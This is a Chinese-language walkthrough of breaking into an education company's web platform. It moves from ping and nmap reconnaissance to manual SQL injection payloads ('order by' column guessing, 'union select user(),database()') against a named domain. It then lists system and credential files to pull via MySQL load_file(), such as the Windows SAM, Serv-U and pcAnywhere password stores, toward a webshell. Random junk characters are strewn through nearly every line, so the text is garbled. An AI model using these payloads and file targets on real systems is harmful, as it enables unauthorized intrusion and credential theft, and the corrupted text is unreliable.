题记:
7 n- P. _) [6 e; v! w一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
3 ?* n O7 \& X: c4 l7 e# U第一步:获取需要的信息
3 `5 U4 [* W1 G* g& K, U由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。& U* C/ [: d- w6 Y0 A+ N
注:以下为保护特用XXX代替敏感信息
" Z6 }/ Z* y: f) R/ V- Q顺手先PING了一下他们的域名:
9 f# C6 t: T" v$ Mping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
5 U; K6 N" A L3 x8 L64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
4 y' u: }7 i! P5 y3 [顺便了解一下TTL,学好基础知识才能一路顺风:3 U8 q7 l5 q7 y; t
TTL:(Time To Live ) 生存时间
6 @; E# O& |6 T# M4 q指定数据包被路由器丢弃之前允许通过的网段数量。4 H; F+ Y! D$ C( K
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。% u+ s4 S W3 |/ b
使用PING时涉及到的 ICMP 报文类型
# B. x& t! u6 ^4 c/ I( K一个为ICMP请求回显(ICMP Echo Request)
# Q, [& N; W$ E2 k1 r2 Z一个为ICMP回显应答(ICMP Echo Reply), W1 m9 {. y4 w: [. ^
TTL 字段值可以帮助我们识别操作系统类型。
' H( w# Y6 J: ZUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
' [; H3 r9 d9 U8 J2 t/ ECompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
5 w4 D5 u: ~4 p% v* s7 E微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 1286 N- L; `" }% y/ }$ B, k
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32/ Q/ P ]$ i- a/ n
当然,返回的TTL值是相同的3 c3 H7 e9 p$ b8 x
但有些情况下有所特殊
/ }$ m9 M7 A+ {7 \* b: q2 n4 TLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 644 h+ X m! Q1 B- R
FreeBSD 4.1, 4.0, 3.4;; ?; ?1 X# R9 q% H
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;% X7 r! Q, x2 ]- h# {
OpenBSD 2.6, 2.7,. A0 J) |) p8 x% C2 `! H; s1 L
NetBSD/ \* |, Q s. M7 P
HP UX 10.203 f" E9 H: m5 ?
ICMP 回显应答的 TTL 字段值为 2552 M% R% z9 O9 D- o% C) y
Windows 95/98/98SE
! l. g9 x1 ^$ H% R; @# WWindows ME
' Z7 {& c5 t3 K# F [# TICMP 回显应答的 TTL 字段值为 32+ W6 I9 M9 a# z- p2 L" y
Windows NT4 WRKS6 c; F h( Y: u0 j
Windows NT4 Server6 }1 r6 d7 f! d. ?: r$ A3 |
Windows 2000
9 z4 _+ Q9 u/ h" Y+ q) k9 LWindows XP
4 Q5 ]' W* ]7 ZICMP 回显应答的 TTL 字段值为 128+ N! {- V! e4 ?
这样,我们就可以通过这种方法来辨别操作系统
U# Y) u- _1 d; U! @TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的2553 m8 n2 v S2 t! e4 X$ n
用NMAP扫描一下:/ B7 I* s' G; l0 A7 [
nmap -sT -O XXX.XXX.XXX.XXX
9 \) h$ e; X" {如果没有装WinPcap则会弹出提示:
( P L; h9 R- R& ~WARNING: Could not import all necessary WinPcap functions. You may need to upgr: h" w/ H" |9 d' Q0 t7 d
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(9 d0 o, M8 z9 c/ {
) mode — Nmap may not function completely7 _+ b* F% {/ _
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher8 u; o/ A, L! J0 c; W0 m
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win/ F: h3 g4 w9 {/ d- Q0 B( U6 n7 g
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
6 ^4 K8 X/ G% S" Y1 {3 z. Z5 Dd later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
d5 Z& d8 y9 J. mersions, you may be able to take iphlpapi.dll from another system and place it i
# v. Q2 l z& S Z4 Un your system32 dir (e.g. c:\windows\system32).) w0 J) k5 R" v$ I
QUITTING!8 a" F, ~6 h% {; k
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe7 E/ S2 x3 C7 u0 Y9 {
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
: X! p( H! Y: Y- k7 w2 w, Z. ZInteresting ports on XXX.XXX.XXX.XXX:
7 l# a& e& F$ ]$ u' W; g' N- DNot shown: 986 closed ports
! \& m* c+ h2 y2 I, x+ Q3 `PORT STATE SERVICE/ I! b$ G) E; Q$ v
21/tcp open ftp
/ E0 o0 M9 y+ b- r6 b% s22/tcp open ssh
7 y2 N, y0 L5 [23/tcp open telnet/ O/ w6 u. z! ?8 B& B/ F/ i$ A
80/tcp open http
# {$ i+ @( u- x5 Y111/tcp open rpcbind
4 Z# M: ^( C* ]( z$ T, V7 q135/tcp filtered msrpc& ]" m$ G9 A5 W3 a
139/tcp filtered netbios-ssn8 g" F! `' D: I+ k, C
445/tcp filtered microsoft-ds
) ~7 R& G9 }3 a, P) W, s513/tcp open login
' j5 Y; m; r; ^, n' m514/tcp open shell* k- A2 E% X/ O. R4 s7 b6 m) t
593/tcp filtered http-rpc-epmap/ M% n5 l4 b+ C: ?& L
1720/tcp filtered H.323/Q.931$ h+ A! [6 t0 Q% [7 }8 i
3306/tcp open mysql
+ j3 x, _& X: d% D- c4444/tcp filtered krb524( A& ]( `5 v$ Z" F: N, j
Device type: WAP
$ K& [1 x' J {! _. g3 mRunning: Linux 2.4.X- S' h- k: `# _! ~2 R) Y' N
OS details: DD-WRT (Linux 2.4.35s) l1 \4 {& R1 \$ e3 r# D( ~
Network Distance: 13 hops
( O& @* v0 e9 t& T9 p看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
( ?/ K4 N2 L1 d2 ~! K- p* O l, D$ mlogin as:
& s! e6 k- R. [8 h$ e+ @Telnet23端口也是开着的,用telnet 命令链接一下:1 L+ h, u4 O& }' q+ z' C! u
telnet XXX.XXX.XXX.XXX
6 W' }2 G; e C) C提示:2 S2 H1 G* }9 l4 N
Red Hat Enterprise Linux Server release 5.2 (Tikanga)$ J, O9 D. n! |9 r; m( E
Kernel 2.6.18-92.el5PAE on an i6865 L8 @2 {3 \% @ n; o
login:
) ^/ I+ u" L! q' ?获取HTTP头信息:
" `0 E- y# Y I在本地执行如下PHP代码
! M3 X) V, _2 O<?php
0 h2 a, v9 s( J) e& i3 N& f$url = ‘XXX.XXX.XXX.XXX’;
4 w% v7 i s9 F w1 Qprint_r(get_headers($url));
/ t9 ~7 O$ ?0 R1 c( Bprint_r(get_headers($url, 1));, w; z# S4 W# a2 ~
?>' l; G; v3 @" I6 p! T- _
将以上代码保存为PHP文件,执行:
, u3 t0 d. I& [7 k7 gArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
' x- o+ a* `' E/ ]8 l, ^! h现在可以得出结论: {3 z2 s* ?9 B. N* `% ]. c" m
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)% S6 s8 G' A o; Z8 d
内核版本:Kernel 2.6.18-92.el5PAE on an i686
% w; M5 Q5 y% f* h6 i: ZWEB服务器版本:nginx/0.7.61% a8 u. {/ _8 u9 p; e# W
第二步,开始测试寻找漏洞; T3 j9 u/ \ V+ M/ h; a# R
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。% ]1 R" _" K8 R; Y" G+ K0 h
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
' w/ q2 B% Y$ a: }2、测试方法:在地址后加 and 1=1 和 and 1=2 测试! H9 a2 L' _4 E. }; h: ]! K
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常 i/ s9 r5 i: D# Q$ r' ?
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
9 v+ @' T4 o, U( ~恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
( ? a) L b! `5 l; l3、手工注入:. z) _( n' P) n2 J0 \
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
) M, k5 ?3 D) P7 j& ?2 i3.1 猜测当前表字段数* X9 U" i7 e( w8 m" X
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
- A" z8 ]) k; w4 i7 \% a$ H% f此处猜测有个简单的算法,都是有技巧的吗,呵呵3 y. A8 t4 B/ Y" z8 P# u, a
算法简单如下:
* |# t! R! ]/ {3 G) r' P0 s W第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
9 Q2 O: Y1 z; w- ?! N& }第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
; o, H3 ]% o) s }8 f' L需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。2 `9 i% w0 ~2 Z( N5 I
以此来判断,是否过界,配合取中算法猜出字段数。2 {: i: S/ }, s4 _' \
举例:
) E" y. o; O X, U; w( U3 P: {http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常1 ^6 D7 J" n+ Z6 Z% _
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
! S! y% e+ F3 q9 J) x6 T* R此时3则为我们要找的字段数。4 o# x" ^% T3 X# T' G, Q& M/ H; g
3.2 配合union联合查询字段在页面所位置
' A4 p. J- O* p S& _3 T0 ^' k9 h1 H我们已经知道了字段数为3,此时则可以做如下操作:# }1 g2 d% o2 W$ y4 s ]
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,32 E5 v0 n* |8 y. h0 W
3 K7 A* _7 J6 f& H2 |& @( C
这样就可以测试到哪些字段在页面上有所显示了,如图:( @3 k9 W" ]- c* o
0 e E! D) ?# F% l% Q
3.3 查敏感信息% [3 E- `+ b* D4 Z3 g2 o0 j
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
% A$ s0 Q- K( K: K" `+ Qhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
) S: O, ]8 ~* c7 o& Y0 c" U3.3.1 先查数据库用户、数据库名,以备后用,如图:
% N1 u* I. u7 Y/ V6 }" d
9 C' A4 N/ A. @+ ?& ^得到数据库用户为root、数据库名为DBxx;: w5 Z0 @- e0 E4 I
3.3.2 查配置文件
; f( g! m- H( O7 D: |" n查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
- D: |- T3 B: ]2 ?& n; Q" N查看文件有一定的条件限制:
2 L; [0 a7 |# y) @& h* a欲读取文件必须在服务器上
/ r/ O, \; R/ w4 J必须指定文件完整的路径1 Z- f( n5 b- \, N4 o
必须有权限读取并且文件必须完全可读) W1 P# P+ B8 O: G8 N+ F: O* a
欲读取文件必须小于 max_allowed_packet$ U) j! p: y5 L+ O& A1 A0 q
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。, \+ }' M4 ` d. l; A
常用的一些:/ R: j! t8 K+ N' q. B
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件7 c; b- Q, X3 a- l3 x8 R/ g5 j
/usr/local/apache2/conf/httpd.conf( T3 C* o! g0 ]1 X+ X* ?* R
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置' o7 E: h& M8 b8 ~% m1 N
/usr/local/app/php5/lib/php.ini //PHP相关设置4 h/ B3 a# I) Q' i$ [+ H2 P
/etc/sysconfig/iptables //从中得到防火墙规则策略
* _% V8 M- C- Z8 M' |/etc/httpd/conf/httpd.conf // apache配置文件
& ]0 r* e8 t3 v* b. [+ V0 [/etc/rsyncd.conf //同步程序配置文件
1 M, w; h0 X, P2 J0 X/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.) H$ Z: J4 N' b4 c. \0 t
/etc/my.cnf //mysql的配置文件4 }4 \# Z% P7 \: i1 x# y4 W
/etc/redhat-release //系统版本
5 R( s! H j0 A& j1 U# t/etc/issue
% p: b; I- U$ u$ t' s/etc/issue.net& Z6 G. n. }( k+ Z9 C7 a4 u9 R
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码8 t0 a: E3 Q4 y0 Z+ S
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码* J' G) ]; S# K, m5 g$ S
c:\Program Files\Serv-U\ServUDaemon.ini
( w: U# ~5 F* ~+ lc:\windows\my.ini //MYSQL配置文件
$ _: l- b2 E o. kc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件4 U9 o3 v' h* s+ E. B/ k
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
0 D- C7 P0 W+ u0 j5 Q, ^! Ec:\windows\repair\sam //存储了WINDOWS系统初次安装的密码! }9 I- _3 {) t/ R Z
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
! T$ |# `! M# y% |/ B0 tc:\Program Files\RhinoSoft.com\ServUDaemon.exe
% U" a9 M9 [0 n" cC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件) q# R2 }! K* F, A. G8 T; z' S
//存储了pcAnywhere的登陆密码
, x7 ^ P3 V9 c A$ ?# |由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。2 U# i/ @ z' c V; ~2 Y: K. K
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。3 i. x* D' P8 q
最后:防范措施2 \' [; E3 X) ^* v
1、修复PHP注入漏洞;4 j! L, _" h9 }# B/ j' o# b
2、Mysql使用普通权限的用户;
$ o e* g: n3 P3、升级linux内核至最新版本; |